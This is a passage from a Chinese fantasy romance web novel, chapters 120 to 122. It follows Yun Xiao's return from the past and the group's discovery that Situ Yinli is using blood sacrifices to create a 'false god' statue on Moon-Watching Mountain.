如果仲卿敢把云绡从钟离湛的怀中往外扯上半分,徐容靳一定得提前摔盆扶幡,黑发人送白发人。 但钟离湛难看的脸色又渐渐缓和过来了。 因为仲卿越激动,便越说明他方才的那一眼没有看错,云绡的确醒了。 而云绡开口让仲卿闭嘴,他又长舒一口气。 她的魂魄回来了,她没有因为魂魄在不属于她的时空里游荡太长时间而忘却今生,她还是她。 于钟离湛而言,只要云绡安好,其他的就都不重要了。 第120章 云绡的魂魄刚回到自己的身体,整个人还处在怕冷的阶段里,仿佛死里逃生一样忍不住就想往温暖的地方依偎。 她靠在钟离湛的怀里,费力地用手搂抱住了钟离湛的肩,然后一寸寸上移,以心口贴着心口的姿势,感受他魂魄的温度,还有他魂魄中,属于心脏的跳动。 他说过他可以活过来,因为他从未真正的死去。 终于回来,终于再见到钟离湛。 云绡原以为自己会有很多话想说,可事实上她现在只想静静地抱着他,感受着有他在身边的安全感,那可以让她暂时忘却两千余年前堪称生离死别的画面。 所幸,那些都过去了。 既然历史无可更改,而这是钟离湛的一线生机,那所有阴谋诡计久不可能算无遗策,真正惠利苍生的大道也不会一直崎岖坎坷。 钟离湛其实也有很多话想要问云绡,他对自己失去的记忆也很好奇,在云绡借着九星连月阵离开这个时空时他就知道这是她最后一次回去。 可他没想过不会有第四次的原因,是因为他害怕了。 这还是他人生中第一次感受到真正的恐惧……哪怕是他曾面对云上巨人时,心中想的也是吾宁死亦不屈,可云绡没回来的时候,他灵魂深处的战栗叫他完全失去了思考的能力,也没办法想到下一步该如何走。 一日日的枯等,打破了他所有坚毅,他也没有自己想的那样镇定自若。 此刻怀抱着云绡,她的依赖和亲昵都在安抚着钟离湛的无助和茫然。 两千多年前究竟发生了什么事,此刻他也不是那么迫切地想要弄明白了。 钟离湛不畏惧死亡,只有当他真的拥有软肋的时候才感受到,面临恐惧,是怕失去他最在意、对他最重要的人。 他怕云绡死掉。 一百个他,一千个他,一万个他换苍生都值得。 一个云绡,他不想换。 钟离湛的私心在这十六天里疯狂滋生、蔓延,如茂密的藤叶织就成一张遮天蔽日的网,吞没了他坚守的正义,化作他心头无可破除的阴霾。 他舍不得,他不想,他不愿! 他不会用云绡的命,去挽回任何人。 此时此刻,钟离湛只想要陪着云绡安稳地睡一觉。 云绡太疲惫了,钟离湛轻轻拍着她脊背的力量无声地抚慰着她,很快她就又闭上眼睛,但在睡过去之前她伏在钟离湛的耳畔,告诉他他想要来钟离氏老宅找的东西,究竟藏在了哪儿。 这一次她呼吸绵长,眉头舒展。 - 云绡睡了很舒适的一觉。 她的魂魄已经回来了,几人也就没必要继续留在空旷的钟离氏老宅里吹风。 钟离湛没有假徐容靳之手,他往云绡的身上贴了一张隐身符,亲自抱着她去了他们在符玉城暂住的那所空院落,守在云绡的身边时不时查探一番。 云绡再度醒来,又过去了六个时辰,这一次她的头脑清晰了很多。 这一觉,将那两千多年所见的繁种经历全都化成了一场梦般,唯有细节她还记得,剩下的全都成了模糊的印象。 云绡觉得身体轻松了下来,她伸了个懒腰,而后对上了钟离湛温柔的眉眼。 “你醒啦。”钟离湛的声音很轻。 云绡眉目弯弯地看着他。 阳光从窗棂倾泻而入,淡金色的光芒映照在他的身上,为他的魂魄镀上了一层光晕,而他的手此刻握着云绡的,指腹摸索,无声亲昵。 云绡经历过钟离湛的病弱时期,他的手脚总是冰冷的,他的脸色也总是苍白的,还会遏制不住地咳嗽、呕血,叫高大的他偶尔会弯下脊背,捂着心口承受虚弱。 此刻的钟离湛虽然只是魂魄,可他是暖的,他的气色看上去也不错,他在她的面前永远那么强大,好像再也不会倒下,会一直守着她的样子。 这一次,过去的历史,就真的成了过去了。 云绡感受着钟离湛掌心的温烫,她朝他露出一抹笑:“我好想你啊,钟离湛。” 即便她好像从来都没和他分开过,但思念还是在云绡的心底泛滥,此刻倾诉出来。 钟离湛闻言欺身而上。 他半跪在床头的位置,一只手握着云绡的手腕,另一只手从她的下颚捧起她娇小的脸,指腹勾住稍稍用力,双唇便触碰到了一起。 狐狸眼闭上,纤长的睫毛化作了阳光下的金蝶,云绡的呼吸间全都是钟离湛的气息。 湿润的吻,带着哄尉的吮舔,相濡以沫。 交叠的发丝如缠绕的花藤,由窗棂缝隙里投入的细小的阳光绽放出一朵朵碎金般的小花。 钟离湛的吻,顺着云绡的唇角落在她的脸侧、耳垂。 沿着她细瘦白皙的脖子,以鼻尖轻蹭,舌尖轻触,一路而下。 低沉的微哑的声音在云绡的耳畔响起,带着他炽热的喘,回应着云绡的那句好想他。 “我也很想、很想你,绡绡。” 直到这时,他才感觉自己的灵魂活过来了。 钟离湛的吻又压上了云绡的唇,他的舌尖舔开云绡的唇齿,这一吻正欲加深,房门便被拍得砰砰响。 两双沉浸的眼睁开时,眸中还有未退的情/欲和迷离。 云绡本能地抬了抬下巴,凑上前碰了一下钟离湛的唇角。钟离湛倒是情绪压得很快,眸子清明了之后,抬手揉了一下云绡头顶凌乱的发丝道:“应当是仲卿。” 果然,门外响起了仲卿的声音:“十一殿下?你没事吧?” 云绡眼中疑惑,仲卿现在还有这个本事了?连她何时醒来都能知道? 钟离湛无奈叹息:“是我掐算了你大约要睡的时间。沉睡是因为你的魂魄离开本体太久,需要安静的环境慢慢融合,抛却你的魂魄游离于各个时空中的芜杂。沉睡的时间太长也不好,容易陷入梦魇,所以我提醒他,到点了要来把你叫醒。” 云绡的眼神顿时变成了幽怨,声音闷闷道:“就不能你自己叫醒我?非要叫他这个大嗓门来破坏气氛。” 钟离湛喜欢她这样,所有灵动的表情,都是她鲜活的证明。 他道:“我舍不得。” 云绡:“……” 少女矫揉造作地往钟离湛的怀里钻了进去,声音像是小猫似的哼哼唧唧,也不过几个眨眼,云绡便粗着嗓音对还在拍门的人道:“马上就来!” “哦哦,十一殿下醒了就好,醒了就好,那我们等你。” 仲卿若不说个等字,云绡还能假装没听见他的叫唤在钟离湛的怀里再赖一会儿,但他说了个等,便是提醒云绡,即便她回到了此时此刻,也仍然有一大堆急迫需要解决的事情等着她。 云绡暗叹了一声,她怎么有种回到钟离湛的身体,终日忙忙碌碌的感觉? - 云绡没让仲卿和徐容靳等太久,也不过一刻钟她便梳洗好走出房间。 此时阳光正好,但冬风较寒,几人便没到外头说话,而是窝在庖屋内。 灶上烧着热水,隔水蒸了蛋羹,锅堂下头燃烧的柴火还能取暖。 仲卿和徐容靳也有许多话要和云绡说。 这些天云绡没回来,他们也不敢拿那些事去麻烦钟离湛,故而关于云绡开启九星连月阵之前,他们去望月山闹事引走司徒皎和陆青岳之后发生的事,这个时候才能说出来。 徐容靳率先开口:“据望月山上的野兽说在月坛处盖建圣仙像的那些人,一旦到了晚上便会化作疯子,无差别地攻击所有眼里能看见的东西,还会吃人。” 徐容靳一听便觉得此事诡异,他和仲卿就打算在望月山中等到了天黑。但他们还记着云绡给的任务,徐容靳便调动了山上的兽群,恐吓那些盖建圣仙像的人纷纷逃离望月山。 后来那些人中有人将此事告知到符玉城的城主府中,有老人说兽群异动可能是地龙翻身,一旦真是地动,山上的人或许都会死在那里。 陆青岳谨记司徒音璃的嘱咐,不论如何,山上每一个晚上都不能缺人,所以他还是亲自去了一趟望月山,司徒皎自然跟着他。 陆青岳来时也不知和那些人说了什么,后来那些人也都陆陆续续地重新上山,而后又被徐容靳调动的兽群给吓了回来。 往复两次,陆青岳也就和府卫一起守在山下,禁止他们再下山。 陆青岳越是如此,徐容靳就越觉得古怪。 天黑时,徐容靳和仲卿去了月坛,藏在暗处,想看看月坛上究竟有何秘密,怎得那些人求着陆青岳说只在山下等一夜都不成? 月坛是上千层的白玉阶而成,每层白玉阶上都刻有深邃的符文,那些纹路经长年累月风吹日晒也没有多少更改。徐容靳见到月坛时,那些深刻下去的符文里都有浅浅一洼血色。 白与红交织,形成了诡异的画卷,月色照耀下,那些沉睡在阶梯上原本应当盖建圣仙像的人突然苏醒过来。 徐容靳仔细看着,那些人的身上都在滴血,但也不是每个人都受伤了。 他们的嘴里嘟囔着饿,于是见人就咬,不分敌我。 徐容靳道:“他们喊饿的时候都失去了理智,山上其实也有其他能果腹的东西,一些山梨野果不在少数,可他们只盯着那些能动弹的活物去撕咬。” 还拥有理智的人尖叫着逃亡,而没有理智的人互相蚕食,血液流入月坛阶梯的符文上,就成了后来逃回来的那些人说的,他们是无意间踏入了杀神留在月坛上的杀戮之念,是他们触犯了禁忌,这才遭此一劫。 云绡知道月坛真正的用途,自然不会认为钟离湛留在月坛上的符文沾到了人血便会让人疯魔。 徐容靳继续道:“当时他们太癫狂了,我不敢贸然靠近,便一直等待机会,而后天就亮了。天边泛起鱼肚白时,那些疯狂的人又慢慢冷静了下来,大梦一场,他们完全不记得自己干过什么事,只依稀记得周围人在夜里吃人。” 仲卿道:“死了很多人,他们将尸体抬走之后,下午就又有一批人上了山。” 云绡眉头紧蹙:“怎么看着那么像用人血来供养圣仙像?” 仲卿点头:“我也这样觉得!那圣仙像到了夜里便阴气森森的,那张还没雕刻出五官的脸在月光洒在白玉阶上连同血液的颜色一起折射其上,尤其骇人!这司徒音璃简直是个疯子,也不知她到底想要做什么!” 徐容靳接话:“我觉得他们都是在干坏事,就是想要人去死,所以、所以——” 徐容靳伸出一根手指挠了挠脸道:“我还剩两张火符,都用在那上面了。” 他干了和头脑不清醒时,在锦仙山上干的一样的事。 这也是徐容靳和仲卿成功阻拦陆青岳和司徒皎的脚步,甚至让他们十几天都没回到符玉城的原因。 云绡听到这儿,默默给徐容靳竖起了一根大拇指,顺便安慰孩子:“没关系,别不舍得,回头我让你爹给你再画两张。” 徐容靳:“……” 云绡看向钟离湛,钟离湛眸光似水,对云绡予取予求,点头:“画,现在就画。” 徐容靳:“……” 云绡:“……” 她扯了扯嘴角:“我不是在催你画符,我是想问你,你可从他们的描绘中看出那姓司徒的到底想做什么啊?” 钟离湛嗯了声,道:“选址月坛,是因为月坛是整个南方离天最近的地方,采月华补精炁,以人血供极阴,她想塑造伪神。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 120-130 第121章 在场三人瞪大双眼,云绡和徐容靳聚精会神,只有仲卿找不到准确方向,那双眼似乎有些呆滞地盯着钟离湛的耳朵看。 钟离湛:“……” 要不要想个办法让仲卿不用瞎眼睛也能看见他? 只略微思忖了一瞬,钟离湛就摇头作罢,他能找到活过来的办法的,便不折腾小老头了。 伪神之说,也是钟离湛在经历了锦仙山封印洛娥一事之后,寻找苍生与天相连的关键时,偶然寻到的民间话本故事。 云绡知道他失去记忆的关键,是因为云上巨人畏惧他。 钟离湛是曦族人,所有曦族人皆被赋予了所谓的赐福神力,长寿两千年,这让他与云上巨人有了羁绊,也叫他们能通过特殊的方式,摧毁钟离湛寻到与他们相关的记忆。 但这不代表,他们能清除钟离湛的所有记忆。 “这种塑造伪神的方式也是我之前从湖族那边听来的,湖族与生俱来的能力是擅设阵,当时传说湖族有段时间常坐五族之首,是因为族内有个人极为擅长利用阵法排兵,此天赋利用于战争上几乎无往不利,百战百胜。” “后来便有人将之神话,说他可以撒豆成兵。因为豆兵数量庞然,且无生命不会畏惧和退缩,便总是豆兵在前,攻下城池后,湖族人再占据领地。而那个能撒豆成兵者,便被湖族供为百战神。” 钟离湛继续道:“湖族人的寿命与凡人一般,纵使用兵如神,真能撒豆成兵,那个所谓的百战神也还是逐渐年迈,踏入了棺材,从那之后湖族在战事上连连败退。” “再后来,便有人动了歪心思,他们将百战神的尸身挖出来,以纯金打造其金身,将他的金身搬到了战场上,每一个人在出战之前,都会在他金身上撒一滴血,祈求庇护。” 钟离湛说到这儿,云绡也帮着转述,仲卿突然反应过来:“我看过此人传记,那已经是数千年前之事。湖族百姓的确将其称之为战神,后来很长一段时间还有百战神的画像作为墙纸,为那些家中有人被征入兵的人家贴在台上供奉着。” 仲卿说的故事,显然不是钟离湛听到的版本。 云绡让他闭嘴,示意钟离湛继续说。 钟离湛便道:“从那之后,湖族又有了百战百胜的力量,不过也伴随着怪事发生。湖族的士兵死后并未倒下,反而在夜色里重新站起来,就如同当年百战神撒下的豆兵一样,不怕疼不怕死,勇往直前。” 云绡只要想到银银月色之下,无数已经缺胳膊断腿浑身是血的人站起来朝活人遍地的城池而去,她便有些毛骨悚然之意。 徐容靳歪着头用那半边被烧了的耳朵听得仔细,又带入他和仲卿夜里在望月山上看见的一切,连忙道:“是有点儿像,那些人也是被月色一照,不怕死也不怕疼,只知道攻击所有能看见的活物。” 钟离湛开口:“最开始的湖族或许的确是想借一点百战神之运,不求无往不利,但求少些伤亡。但他们供养给百战神的血越来越多,而重塑金身的百战神暴露于旷野日夜汲取天地精华,竟生出了些许意识,以血融出了死魂。” “他开始不满于永远只能成为一个雕像,他的意识驱动着笨重的身躯,动用意念便可以操纵那些死尸为己所用,让他们攻城略地,为湖族打下江山。” 钟离湛说完,朝云绡耸肩 :“这就是关于他全部的故事,也正因为他拥有金身,乃不死之躯,无人能抗其锋芒,故而成了伪神。” 伪神,也就是人间不死不灭之神,可以让他的信徒成为他的手中利刃,指哪儿打哪儿。 她嗤笑一声:“什么伪神?什么汲取天地精华融出了死魂,不过是因为他金身以肉身为载,又长年累月地搁置在战场周围,战场上死去的人最多,沉浮于世间未被太阳完全晒得灰飞烟灭的孤魂野鬼也多。孤魂野鬼见那里有一座金身,恰是最好的庇护场所,不必害怕白日的烈阳,纷纷朝那里头躲。” 钟离湛赞赏地朝云绡点头,他当时听说了这个故事,也是这样想的。 云绡继续道:“孤魂野鬼占据金身后,每日还要被无数活人以鲜血供养,自然而然就将那孤魂野鬼养出了戾气,也养出了些许可以操纵死尸的能力。所谓死魂,其实就是集齐战场上的冤魂怨念,拥有了意识之后便只知征伐,最后便是杀戮无数了。” 仲卿意外地看向云绡:“你说得还真是对的!那位百战神到后来的名声并不好听,据说是每日都缺不了鲜血的供养,如若一日缺血,便会金身锁魂。所以他也渐渐成了能止小儿夜啼的恶名声。” 正因后来战事一旦不利,那位百战神便不分敌我地虐杀饮血,那座金身就被当时的将军打碎,在孤山周围设阵,将其放置山顶七七四十九日,做了一场法事之后,怪诞之事就再也没有发生。 那也只是湖族各种传说中不起眼的一个,仲卿之所以看过,恰是因为那传记就收于湖族古殿内,与话本搁置在一起。 他当初年纪轻轻刚成为湖族的长老,迫切地想要证明自己,也不想让那些人以为他无所事事,所以就将古殿内的书籍看了个遍。 除了百战神的传说之外,他也看了圣仙古籍。 很久之前云绡曾问过仲卿关于圣仙之事,那个时候仲卿和她并不相熟,而圣仙由来又是他们湖族秘辛,他当然不会随意吐露。 其实他不说,也是因为他从圣仙的传记里看出,圣仙并非外界传言的那么厉害又圣神。越了解有关于圣仙的细节,仲卿就越能发现,湖族以圣仙之名究竟做过多少私心害人之事。 司徒音璃要在月坛上建造圣仙像,她的真正目的其实已经昭然若揭了。 司徒音璃在知道仲卿成了湖族的长老之后用不老丹也成了湖族长老,那古殿里的书籍她也一定都能看。 她说她的不老丹是根据圣仙古籍里的记载才想到的办法,仲卿从自己的记忆中并未找到类似事迹,便足以证明司徒音璃的不老丹一定是从别的地方弄来的。 是补药还是毒药,此先不论。 她建造圣仙像的意图,就是想要复刻当年湖族百战神之力量,结合她要找到钟离氏藏匿的宝藏……司徒音璃的野心当真令人发指且畏惧。 云绡也算是弄明白了。 “她要招兵买马,推翻凌国云氏王朝。她说不老丹是她看圣仙古籍后的灵光一现,也有将自己的名声打造成圣仙指引,天命所归之意图。” 云绡咂舌:“所以建造圣仙像的人中,只有湖族人不会疯魔,是因为她和湖族的长老已经达成了共识。他们不会让湖族人冲锋陷阵,而是让其他几族身先士卒,要那几族的人听话可不容易,于是她就用了这个办法。” 云绡的一双眼直勾勾地盯着仲卿:“圣仙从何而来,你心里清楚。” 那不过是一个什么都不懂的小姑娘,不论她是被迫,还是自愿,但她的确是害死钟离湛的关键。 但湖族人将其捧上神坛,也是利用百姓的盲目无知,打造湖族数千年屹立不倒的威名。 湖族人自己不知道吗? 便是两千多年后的今日,底层的湖族人的确不清楚,可那些在古殿里的长老,只要翻过圣仙古籍就清楚圣仙到底是不是神仙赐予神力的救世主,她的像究竟能不能压制所谓月坛上钟离湛的戾气。 那些长老们假装不知,其实内心也在期待着,期待司徒音璃在她有限的生命里,真的能带着湖族成为五族之主,入主连玉州的皇都,坐上九五至尊之位。 徐容靳浑身都起了鸡皮疙瘩,他看向仲卿的眼神十分同情,不禁又感叹了一句:“难怪你不成家。” 紧接着又说:“那我以后也不成家了。” 他的头脑有限,也是真的害怕日后会遇见一个像司徒音璃这样蛇蝎心肠的女人,光是想想徐容靳都毛骨悚然。 仲卿接受了徐容靳的同情,仔细想来,他其实也挺同情自己的。 最好的年纪被司徒音璃逼得离开了湖族,去了京都,最老的年纪又被京都逼得回到了湖族,很有可能还要和司徒音璃对上。 仲卿都想为自己掬一把泪。 云绡回想起她和钟离湛在钟离氏老宅的那一夜,陆青岳和司徒皎的谈话,云绡才有种原来如此的恍然感。 就连陆青岳这个氏族边缘的陆家且又被陆家边缘的庶子都知晓司徒音璃的计划,可见此计划应当整个湖族的氏族都有涉足了。 湖族盖建圣仙像已经好几个月了,不出意外这几个月里每夜都有人死,且每日都有人的血洒在圣仙雕像上。 死掉的那些人魂魄一旦遇上白天,烈日之下无处去,就躲藏进了圣仙像中。 到了晚上,有更多人死,圣仙像中的鬼魂便出来吞噬那些人的残魂,于是就成了逃过一劫又疯癫的人口中神像变成了恶鬼。 那些人并不是倒霉的,恰好他们有几分运气,才能在恶鬼的手中留下一条命。 云绡问徐容靳:“你放火的时候火势烧到了圣仙像吗?” 徐容靳摇头:“我只想着将他们都引到山上去,走的时候并未看见那火烧到了圣仙像的身上。” 这就表示,圣仙像很可能还是完好的。 但如今正是冬季,即便东洲位于南方,山上也有很多干枯的树木,加上钟离湛的火符又是凡水不可灭,说不定误打误撞,破了司徒音璃的计划呢? 这十多天他们都没再管那边,也就不知道此刻的望月山究竟成什么模样了。 云绡想,他们还是得去望月山上看看。 - 去望月山之前,云绡私下里问了钟离湛是否将老宅楼阁里藏匿的东西取出来了。 两千多年前云绡的魂魄还在钟离湛的身体里,只看见他念了咒语画了符,便将那卷卷轴放入了湖中央的楼阁里,她并不知他将卷轴藏在了楼阁何处。 且那楼阁底下的暗室内云绡在设九星连月阵之前就看过了,那里除了一些金银首饰珠宝玉石之类,没有其他的东西。 钟离湛朝她点头:“取出来了。” 仲卿和徐容靳显然不知卷轴的存在,那钟离湛一个魂魄能将卷轴藏在哪儿? 她眨巴眨巴眼问:“在哪儿呢?” 钟离湛伸手指了指自己的脑袋道:“在这儿呢。” 昨日云绡卧在他的怀中,困倦时还不忘伏在他耳畔虚弱地告诉他关于他藏着的东西是什么,上面套了几层禁制,如何破解……钟离湛抱着她离开钟离氏老宅时,特地 从楼阁前路过。 那张云绡绘画的卷轴加上他书写的咒文,合在一起两层禁制,一个是云绡所设,一个是他所设。 钟离湛在听到云绡说的破除禁制之法时,就知道他当初设下禁制的用途。 即便他忘记了那段记忆,但两千多年前的他也足够信任小仙女,并且知道他的小仙女过目不忘,故而那张卷轴外所设的禁制只能让卷轴开启一次。 当卷轴再度合上之后,禁制上的咒文就会化作火焰,将一切全都烧毁。 这还是因为他不知道从他的身体里离开后的小仙女,是否还能完整地记得卷轴上的内容,所以给了她开启卷轴的一次机会,只要有这一次,她就一定能全都记下来。 钟离湛没有过目不忘的本领,可他用魂魄之力穿透楼阁外的阵界,开启卷轴后,他在月坛上所见到的那些画面也都如潮水一般回到了脑海里。 关于云上巨人的赖棋之举,关于尾人族尾巴的由来,关于那场布满咒文的暴雨,还有俯身撑山,窥望人间的云。 至于钟离湛没完全记下的咒文,既然他能写下第一次,就一定能写下第二次。 “以前的你把卷轴藏在哪儿了啊?”云绡问他。 钟离湛回答道:“就在楼阁正中央的书架上,在那堆不起眼的其他卷轴里。” 云绡有些愣怔,她和钟离湛每一次进入楼阁,也看见了成堆的书架,却从没想过那么重要的卷轴,他就大咧咧地放在正中间了。 那楼阁外设下阵咒,虽说两千多年过去了都没人踏入进去,但…… 云绡一脸欲言又止,终是没没忍住问:“你就不怕有人意外闯入,把这卷轴翻出来?” “那不是更好?”钟离湛笑了笑:“我大约能猜到我当时将卷轴放在这里的原因,那是苍天戏弄苍生的玩笑,本就应该曝于光明之下,被世人所知晓。” “我当初之所以藏起来,是因为我命不久矣,而后来者未知,陡然告诫世人提防神明,只会让他们觉得我更疯癫。但若有一日有人能破我设在楼阁外的阵咒,又看见了卷轴,且能破除禁制,至少说明他有运势,有能力,便就让他窥见真相,他或许能做得比我所做的更多,更好也说不定。” 钟离湛说罢,朝云绡挑了一下眉。 云绡:“……” 嗯……这种想法很钟离湛。 在卷轴上的内容展开,而钟离湛也回忆起月坛上所见到的一切后,他的心绪其实是很复杂的。那段复杂的时间里,他握着沉睡的云绡的手,靠着与她的接触度过了心中的些许不甘和不安。 其实在他于禁地中,被云绡唤醒之际,钟离湛的心中存有戾气和不忿。 他不记得自己和云上巨人的斗法,也不记得关于五族由来的真相。他能记得的,就是自己在成为曦帝之前,是个好人,成为曦帝之后,也竭尽全力做个好君主,可最后却落得恶名昭著,魂不安宁的下场。 在知道时代早就更迭千年,而今五族归一一片和谐之后,他想的就更简单。 他想要自由,和一个鲜活的身躯。 钟离湛最初的想法,是找到一个疾病缠身濒死之人,在对方死掉魂魄离体的那一瞬,他取而代之,不拘泥于那是谁的身体,长什么模样…… 经历这么多,钟离湛心中的戾气和不忿,也早就在和云绡产生羁绊的时间里消散。他越来越接近过去的他,又比过去知道得多、压力重重的他要更加恣意洒脱。 这或许是他除了在符玉城孩童时期之外,最轻松惬意且快乐的时光了吧。 “我虽然知道如何破除天与地的羁绊,可如今的我还没有那个能力将咒语融入雨或风中。” 钟离湛只说这一句,云绡就明白他的心中所想。 她眉目弯弯地望向他,道:“那很简单啊!我们趁夜上山,砸了圣仙像,也给山间枉死的鬼魂们做一场法事送他们离开,便回去京都!” 钟离湛与云绡对视,心头涌上几分心疼和不忍,其实如果可以选择,他希望云绡永远都不再回去连玉州,因为那里是她所有不幸的根源。 云绡却和钟离湛想的完全不同,她将回去京都说得极为简单,也刻意忽略其中暗藏的危机,摆出轻松姿态给他看。 手臂一挥,云绡道:“我云绡一向有仇报仇,有怨报怨!且奉行君子报仇十年不晚,小人报仇十倍奉还!我不是君子,故而等不了十年,我也不是小人,十倍不够偿还的,所以……就这么决定了,我们回京都!” “我要推了神霄塔,把你的身体从那些冤魂血铺成的红泥里挖出来!”云绡捧着钟离湛的脸,把他拉向自己,直勾勾地望着他的眼道:“这一次,还是由我来唤醒杀神,而后咱们不乱世道,咱们救世,可好?” 她要去走他想走的道。 这也是她前十六年满心厌世,浑噩茫然后,寻到的最坚毅的一条路。 云绡当然不是真对世人有多大的同情和博爱,她要的,是将那些云上巨人都拉下凡尘,要给两千多年前的钟离湛报仇雪恨! 但这不妨碍她在钟离湛的面前扮演一个善良的、温柔的人。 钟离湛果然被云绡的话说得目如春水,满心滚烫,好似在这一眼对视里,他们的思想、感情和灵魂,都如量定的榫卯,无比契合。 他启唇,应了一声:“好。” 钟离湛想,君子论迹不论心,云绡的所作所为,恰合他所思所想,那就足够了。 第122章 依着云绡的性子,她说干就干! 她没觉得自己魂魄才归体还需要休息的时间,在和钟离湛说完话,趁着天没黑,云绡就打算出符玉城往望月山上去了。 徐容靳和仲卿没想到云绡才刚醒来就要走,二人赶忙跟上了她,心想着她该不会是要跑吧? 仲卿朝徐容靳推了一把,徐容靳往前踉跄一步险些撞在云绡的后背,还是钟离湛回头瞥了一眼,他才用尽脚趾力气维持住了姿势,没真撞上去。 回头瞪了仲卿一眼,徐容靳心想:你还是我义父? 仲卿:义父又非亲爹! 仲卿给徐容靳使了个眼色,徐容靳叹息,谁让他是做人家儿子的呢。 傻大个发出蚊子一样的哼声,问云绡:“咱们这是要去哪儿?” 云绡道:“去望月山啊!” 仲卿一愣,与徐容靳对视一眼。 真的不用再休息一下吗?或者让那维持大阵十多天没动一步的某位杀神恢复一下呢?毕竟他们要面对的可是司徒音漓那样可怕的女人,和已经被人命养了几个月的“伪神”。 但云绡每一步走得气势汹汹,昂首阔步好似胸有成竹的模样,仲卿便还是将心放了下来。 他一路走来看见每个族人皆有其忧,这世间真能好好活着的人少之又少,好不容易近百年来都无战争,百姓才走上正轨,不用为衣食住行发愁……偏偏这个时候司徒音漓要用人命来养恶鬼,还要将这些死人练成行尸走肉,替她去打江山。 挑动战争,除了利己之外,还利什么呢? 冲锋陷阵的不是他们,无家可归的不是他们,要经受生离死别的不是他们,但最后得到的一切权益都归属于他们。 何其讽刺? 即便仲卿早就已经无法打入湖族现任古殿长老们的内部,可他也仍然是湖族人,他不希望湖族最后落得个人人喊打臭名昭著的下场,也不希望湖族的百姓成为这些上位者手中的刀俎,去鱼肉他族无辜。 仲卿想,他跟着云绡果然是跟对了,至少云绡日后坐上至尊之位,她不会去做这些伤天害理之事。 云绡能狠得下心,做事不拘小节,可她心中也有大义,会怜悯苍生不易的人,终归不会差到哪儿去。 “十一殿下,是已经有详尽的计划了吗?”年近七十的小老头儿又开始摩拳擦掌了:“你打算如何对付司徒音漓?还有如何告知天下人,她的阴谋诡计?” 广而告知简单,重要的是如何让那些人相信! 云绡理所应当地摇头:“计划?没有什么详尽的计划啊。什么对付司徒音漓?她都一把年纪了还能活多久?说不定我骂她两句她就咽气了……” 仲卿愣住了:“那、那你此去望月山,打算做什么?” 云绡道:“我去看看徐容靳放的火将望月山烧成什么样了啊,是否烧到了圣仙像?如果没有,那我就再添一把火,非得烧死藏在那里面的鬼东西,再把圣仙像砸碎了填满狗屎雇个镖队送到你们湖族古殿去。” 云绡咧嘴一笑:“这样一来,那司徒音漓应该就能气死了吧?” 仲卿:“……” 云绡又恍然:“哦!如果这都不能气死她,那我干脆在那个圣仙像的身上雕刻出司徒音漓四个字,然后书信一封,大字标注【你就长这样】,这样她总能被气死了。” 仲卿:“……” 嗯……虽然听起来似乎没什么素质,但感觉可 行性很高啊! 云绡设想得很好,唯一没想到的就是仲卿和徐容靳十多天没来望月山下,全然不知如今的望月山彻底在司徒音漓的掌控中。 围绕着山下的府卫多了十倍不止,还有几个大小不一的营帐。 而他们,居然正面和司徒音漓撞上了- 云绡几人到达望月山时已至黄昏,上山下山的两条路上都有人影走动。 彼方人多,我方人少,云绡没打算和他们迎面对上,便在望月山上另寻一条可以上山的路。 仲卿对此地不熟,徐容靳倒是可以问山中的飞禽走兽哪条路更方便,但望月山下营帐周围还有几个尾人族的,这叫徐容靳一时不敢轻举妄动。 “很显然,之前你们指使兽群异动的情况让他们有所提防,这才找了几个尾人族来。”云绡对徐容靳道:“那些野兽应当只听你的话,不听他们的话吧?” 徐容靳脸色一僵,干笑道:“在尾人眼中,兽族都是可以沟通的朋友,若要做类比,便像是寻常人对待孩子的态度。野兽的头脑比较简单,若那几个尾人用食物诱哄,它们的确会供出我的存在。” 云绡朝徐容靳笑了一下,那笑容简直写着“要你何用”四个大字。 徐容靳眨了眨眼,想到了什么将功补罪的事儿道:“不过我将咕咕和啾啾留在山上了,若能上山找到它们,它们或许能将这十多天山上发生的事都告诉给我听。” 但至于怎么上山,徐容靳就不知道了。 云绡也只来过望月山一次…… 这个时候钟离湛开口道:“跟我走。” 云绡闻言眸光一亮,嘴角抿出了小梨涡,她握住钟离湛的尾指就跟着他绕过跟前这条路,一双眼还故意朝仲卿和徐容靳瞥了瞥,眼神示意他们:还得是我哥哥。 仲卿:“……” 徐容靳:“……” 这是生他养他的土地,即便过去了两千年,钟离湛也仍然熟悉。 钟离湛带云绡和仲卿、徐容靳走的路属于望月山山脉却不是靠近最高峰的月坛处,他们得从山脊处绕去月坛,路途要远上一些,但相对更安全。 避开司徒家的府卫,云绡几人越过半座山的山脊,远远就能看见在月色下银光熠熠,如云似仙,布满符文咒印的山尖。 从正面看望月山,郁郁葱葱的树木将山顶遮蔽,瞧不出月坛的影子。但若从望月山的背面去看,临江那侧,山壁悬崖之上,白玉铺就的千层阶梯就尤为显眼。 正值冬季,山顶上最寒,树木枯萎得很快。 徐容靳的那把火造成的伤害比云绡想象的要更厉害。 山林枯植多,十多天没有下雨的东洲,钟离湛的火符几乎顺风而生,将山顶上大片树木都烧得枯萎发黑,坍塌了一片。焦黑之中,月坛就更加显眼。 云绡曾去过月坛,当时的月坛比今日看上去的要纯粹许多。经年累月的摧残,玉石生根,色泽暗淡了些许,更衬得月坛顶上新雕刻而成的圣仙像白净透亮。 几人沿着山脊避开人群到了月坛白玉阶梯的后方,阶梯后方靠近悬崖,等闲人上不去,这也是山背无人的原因。 云绡几人为了避免被人发现,在身上贴了隐身符,又用御风符将自己送到山顶上。 徐容靳和仲卿趴伏在阶梯处,小心翼翼,只要不轻举妄动,就不会被人发现。 云绡没躲藏,她就站在月色下,仰望着那座几乎有十几层楼一样高的雕像。 远看还不显得,近看,它从某种角度而言,当真成了顶天立地的梁柱一般,那股迫人的威压,直叫云绡生起了一股熟悉的感觉。 望月山与苍穹之上的羁绊已然斩断了。 他们没上山顶时不曾发现,如今靠近了,云绡和钟离湛也都察觉到了。 斩断的原因,应是因为两千多年前,钟离湛死前为曦族人做的最后一件事。他诅咒了曦族人不再长寿,而曦族与天最近的地方就是望月山,这里曾是那些执子对弈者们窥看苍生的地方。 云绡觉得奇怪,压低声音问:“照理来说,你既然断了曦族和天相连,那望月山应当灵气更加充沛才是。这里没有神明干预,与曦族其他地方一样,当花鸟丛生,灵气遍地,可望月山怎么成了这幅样子?” 甚至还不如当初钟离湛盖建月坛时。 彼时大雪封山,盖住了草木,可仍然有土地孕育滋生的灵气从雪堆里呼吸出来。 东洲没有云上巨人的咒语,两千多年不曾参与过战争,山中更应灵气丰沛,可如今也只剩下萧索。 森森阴气从白玉阶梯的缝隙里渗出来,几乎彻骨。 